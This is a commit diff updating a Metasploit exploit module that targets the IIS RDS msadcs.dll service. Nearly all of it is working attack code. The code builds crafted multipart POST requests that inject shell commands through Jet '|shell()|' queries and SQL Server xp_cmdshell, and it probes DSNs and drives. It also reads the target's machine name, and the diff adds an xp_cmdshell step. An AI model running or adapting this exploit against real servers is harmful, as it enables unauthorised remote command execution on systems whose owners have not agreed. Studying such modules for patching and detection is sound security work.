Updated msadc exploit with fixes.
Patrick Webster
sinn3r
parent
f25b828d31
commit
c36ab97d41
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@ -66,7 +66,6 @@ class Metasploit3 < Msf::Exploit::Remote
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OptString.new('PATH', [ true, "The path to msadcs.dll", '/msadc/msadcs.dll']),
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OptBool.new('METHOD', [ true, "If true, use VbBusObj instead of AdvancedDataFactory", false]),
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OptBool.new('NAME', [ true, "If true, attempt to obtain the MACHINE NAME", false]),
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OptBool.new('VERBOSE', [ true, "If true, be more verbose", false]),
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OptString.new('DBHOST', [ true, "The SQL Server host", 'local']),
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OptString.new('DBNAME', [ true, "The SQL Server database", 'master']),
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OptString.new('DBUID', [ true, "The SQL Server uid (default is sa)", 'sa']),
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@ -78,7 +77,7 @@ class Metasploit3 < Msf::Exploit::Remote
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res = send_request_raw({
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'uri' => datastore['PATH'],
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'method' => 'GET',
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}, 20)
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})
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if (res.code == 200)
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print_status("Server responded with HTTP #{res.code} OK")
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if (res.body =~ /Content-Type: application\/x-varg/)
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@ -95,12 +94,10 @@ class Metasploit3 < Msf::Exploit::Remote
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res = send_request_raw({
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'uri' => req,
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}, 20)
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})
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if (res.code == 200 and res.body =~ /<H2>Datasource creation <B>FAILED! The most likely cause is invalid attributes<\/B><\/H2>/)
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if (datastore['VERBOSE'])
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print_error("DSN CREATE failed for drive #{drive} with #{dsn}.")
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end
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if (res and res.code == 200 and res.body =~ /<H2>Datasource creation <B>FAILED! The most likely cause is invalid attributes<\/B><\/H2>/)
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vprint_error("DSN CREATE failed for drive #{drive} with #{dsn}.")
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return false
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elsif (res.code == 200 and res.body =~ /<H2>Datasource creation successful<\/H2>/)
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print_good("DSN CREATE SUCCESSFUL for drive #{drive} with #{dsn}!")
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@ -108,21 +105,20 @@ class Metasploit3 < Msf::Exploit::Remote
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end
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end
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def exec_cmd(a, c, b) # a = sql, c = cmd, b = DSN or MDB
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def exec_cmd(sql, cmd, d)
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boundary = rand_text_alphanumeric(8)
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method = datastore['METHOD'] ? "VbBusObj.VbBusObjCls.GetRecordset" : "AdvancedDataFactory.Query"
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dsn = Rex::Text.to_unicode(b)
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if (b =~ /driver=\{SQL Server\}/)
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select = Rex::Text.to_unicode(a + '"' + c + '"')
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elsif (c.nil?)
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select = Rex::Text.to_unicode(a)
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dsn = Rex::Text.to_unicode(d)
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if (d =~ /driver=\{SQL Server\}/)
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select = Rex::Text.to_unicode(sql + '"' + cmd + '"')
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elsif (cmd.nil?)
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select = Rex::Text.to_unicode(sql)
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else
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select = Rex::Text.to_unicode(a+ "'|shell(\"" + c + "\")|'")
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end
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if (datastore['VERBOSE'])
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print_status("Attempting to request: #{select} on #{dsn}")
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select = Rex::Text.to_unicode(sql+ "'|shell(\"" + cmd + "\")|'")
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end
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vprint_status("Attempting to request: #{select} on #{d}")
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query = "\x02\x00\x03\x00\x08\x00#{[select.size].pack('S')}\x00\x00#{select}\x08\x00#{[dsn.size].pack('S')}\x00\x00#{dsn}"
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sploit = "--#{boundary}\r\n"
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@ -148,50 +144,54 @@ class Metasploit3 < Msf::Exploit::Remote
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'method' => 'POST',
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'data' => data,
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}, 20)
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})
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response = Rex::Text.to_ascii(res.body, 'utf-16be')
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if (response =~ /HTTP:\/\/www.microsoft.com\/activex.vip\/adofx/ || res.body =~ /o.u.t.p.u.t./)
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print_good("Command was successfully executed! Statement: #{select} Driver: #{dsn}") if (datastore['VERBOSE'])
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return true, a, b
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vprint_good("Command was successfully executed! Statement: #{select} Driver: #{d}")
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return true, sql, d
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elsif (response =~ /RDS Server Error: The server has denied access to the default RDS Handler used to access this page. See the Server Administrator for more information about server security settings./)
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print_error("Exploit failed: the server is patched")
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break # we cannot continue - server refuses to accept RDS traffic from remote IPs. bail.
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elsif (response =~ /The Microsoft Jet database engine cannot find the input table or query \'(\w+)\'/)
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print_error("Server is vulnerable but Microsoft Jet database cannot find table: #{$1}") if (datastore['VERBOSE'])
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vprint_error("Server is vulnerable but Microsoft Jet database cannot find table: #{$1}")
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elsif (response =~ /isn't a valid path/ || response =~ /is not a valid path/ || response =~ /Could not find file/)
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print_error("Server is vulnerable but the drive and path is incorrect.") if (datastore['VERBOSE'])
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vprint_error("Server is vulnerable but the drive and path is incorrect.")
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elsif (response =~ /Disk or network error./)
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print_error("Server is vulnerable but the driver letter doesn't physically exist.") if (datastore['VERBOSE'])
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vprint_error("Server is vulnerable but the driver letter doesn't physically exist.")
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elsif (response =~ /Syntax error in CREATE TABLE statement/)
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print_error("Server is vulnerable and the database exists however the CREATE TABLE command failed.") if (datastore['VERBOSE'])
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vprint_error("Server is vulnerable and the database exists however the CREATE TABLE command failed.")
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elsif (response =~ /Table '(\w+)' already exists/)
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print_error("Server is vulnerable and the database exists however the TABLE '#{$1}' already exists!") if (datastore['VERBOSE'])
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vprint_error("Server is vulnerable and the database exists however the TABLE '#{$1}' already exists!")
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elsif (response =~ /Syntax error \(missing operator\) in query expression/)
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print_error("Server is vulnerable and the database and table exists however the SELECT statement has a syntax error.") if (datastore['VERBOSE'])
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vprint_error("Server is vulnerable and the database and table exists however the SELECT statement has a syntax error.")
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elsif (response =~ /Too few parameters. Expected 1/)
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print_good("Command was probably executed!")
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elsif (response =~ /Data source name not found and no default driver specified/)
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print_error("Server is vulnerable however the requested DSN '#{b}' does not exist.") if (datastore['VERBOSE'])
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vprint_error("Server is vulnerable however the requested DSN '#{d}' does not exist.")
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elsif (response =~ /Couldn't find file/)
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print_error("Server is vulnerable however the requested .mdb file does not exist.") if (datastore['VERBOSE'])
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vprint_error("Server is vulnerable however the requested .mdb file does not exist.")
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elsif (response =~ /Specified SQL server not found/)
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print_error("Server is vulnerable however the specified Microsoft SQL Server does not exist") if (datastore['VERBOSE'])
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vprint_error("Server is vulnerable however the specified Microsoft SQL Server does not exist")
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elsif (response =~ /Server does not exist or access denied/)
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vprint_error("Server is vulnerable however the specified Microsoft SQL Server does not exist or access is denied")
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elsif (response =~ /General error Unable to open registry key/)
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print_error("Server error (possible misconfiguration): Unable to open registry key ") if (datastore['VERBOSE'])
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vprint_error("Server error (possible misconfiguration): Unable to open registry key ")
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elsif (response =~ /It is in a read-only database/)
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print_error("Server accepted request however the requested .mdb is READ-ONLY") if (datastore['VERBOSE'])
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vprint_error("Server accepted request however the requested .mdb is READ-ONLY")
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elsif (response =~ /Invalid connection/)
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print_error("Server accepted request however the MSSQL database says Invalid connection") if (datastore['VERBOSE'])
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vprint_error("Server accepted request however the MSSQL database says Invalid connection")
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elsif (response =~ /\[SQL Server\]Login failed for user/)
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print_error("Server accepted request however the MSSQL database uid / password credentials are incorrect.") if (datastore['VERBOSE'])
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vprint_error("Server accepted request however the MSSQL database uid / password credentials are incorrect.")
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elsif (response =~ /EXECUTE permission denied on object 'xp_cmdshell'/)
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vprint_error("Server accepted request and MSSQL uid/pass is correct however the UID does not have permission to execute xp_cmdshell!")
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elsif (response =~ /\"(...)\"/) # we use rand_text_alphanumeric for 'table'. response is '"<table>" <table>' but means nothing to me. regexp is a little lazy however the unicode response doesn't give us much to work with; we only know it is 3 bytes long and quoted which should be unique.
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print_error("Server accepted request however it failed for reasons unknown.") if (datastore['VERBOSE'])
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vprint_error("Server accepted request however it failed for reasons unknown.")
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elsif (res.body =~ /\x09\x00\x01/) # magic bytes? rfp used it too :P maybe a retval?
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print_error("Unknown reply - but the command didn't execute") if (datastore['VERBOSE'])
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vprint_error("Unknown reply - but the command didn't execute")
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else
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print_status("Unknown reply - server is likely patched:\n#{response}")
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vprint_status("Unknown reply - server is likely patched:\n#{response}")
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end
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return false
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end
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@ -207,8 +207,8 @@ class Metasploit3 < Msf::Exploit::Remote
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data << "\r\n\r\n--#{boundary}--\r\n"
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res = send_request_raw({
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'uri' => datastore['PATH'] + '/VbBusObj.VbBusObjCls.GetMachineName',
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'agent' => 'ACTIVEDATA',
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'uri' => datastore['PATH'] + '/VbBusObj.VbBusObjCls.GetMachineName',
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'agent' => 'ACTIVEDATA',
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'headers' =>
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{
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'Content-Length' => data.length,
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@ -218,7 +218,7 @@ class Metasploit3 < Msf::Exploit::Remote
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'method' => 'POST',
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'data' => data,
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}, 20)
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})
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if (res.code == 200 and res.body =~ /\x01(.+)/) # Should return the hostname
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print_good("Hostname: #{$1}")
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@ -312,6 +312,8 @@ class Metasploit3 < Msf::Exploit::Remote
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print_status("Step 8: Trying SQL xp_cmdshell method...")
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ret = exec_cmd("EXEC master..xp_cmdshell", "cmd /c echo x", "driver={SQL Server};server=(#{datastore['DBHOST']});database=#{datastore['DBNAME']};uid=#{datastore['DBUID']};pwd=#{datastore['DBPASSWORD']}") # based on hdm's sqlrds.pl :)
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return ret if (ret)
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return -1
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end
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def exploit
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@ -319,6 +321,9 @@ class Metasploit3 < Msf::Exploit::Remote
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x = false
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until (x)
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x,y,z =find_exec
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if (x == -1)
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break
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end
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end
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if (x == true)
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@ -412,7 +417,7 @@ class Metasploit3 < Msf::Exploit::Remote
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res = send_request_raw({
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'uri' => uri,
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'method' => 'GET',
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}, 20)
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})
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end
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end
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